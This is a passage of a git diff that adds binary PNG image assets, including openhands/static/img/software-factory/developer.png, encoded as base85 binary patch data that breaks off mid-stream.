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 Ygv#^W-xCi{ffkUmf`)v#tohsj1D?d!y#N3J literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/developer.png b/openhands/static/img/software-factory/developer.png new file mode 100644 index 0000000000000000000000000000000000000000..0e0229bc3b55013e39c445848831ddf45a9109e9 GIT binary patch literal 67702 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 